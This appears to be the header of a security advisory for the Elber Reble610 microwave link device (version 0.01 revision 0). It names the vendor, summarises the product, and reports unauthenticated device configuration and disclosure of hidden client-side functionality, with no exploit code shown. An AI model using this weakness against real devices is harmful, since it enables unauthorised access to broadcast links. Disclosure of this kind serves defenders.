Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link Device Config  
Vendor: Elber S.r.l.  
Product web page:  
Affected version: 0.01 Revision 0  
Summary: The REBLE610 features an accurate hardware design, absence of  
internal cabling and full modularity. The unit is composed by a basic  
chassis with 4 extractable boards which makes maintenance and critical  
operations, like frequency modification, easy and efficient. The modular  
approach has brought to the development of the digital processing module  
(containing modulator, demodulator and data interface) and the RF module  
(containing Transmitter, Receiver and channel filters). From an RF point  
of view, the new transmission circuitry is able to guarantee around 1 Watt  
with every modulation scheme, introducing, in addition, wideband precorrection  
(up to 1GHz depending on frequency band).  
Desc: The device suffers from an unauthenticated device configuration and  
client-side hidden functionality disclosure.  
Tested on: NBFM Controller
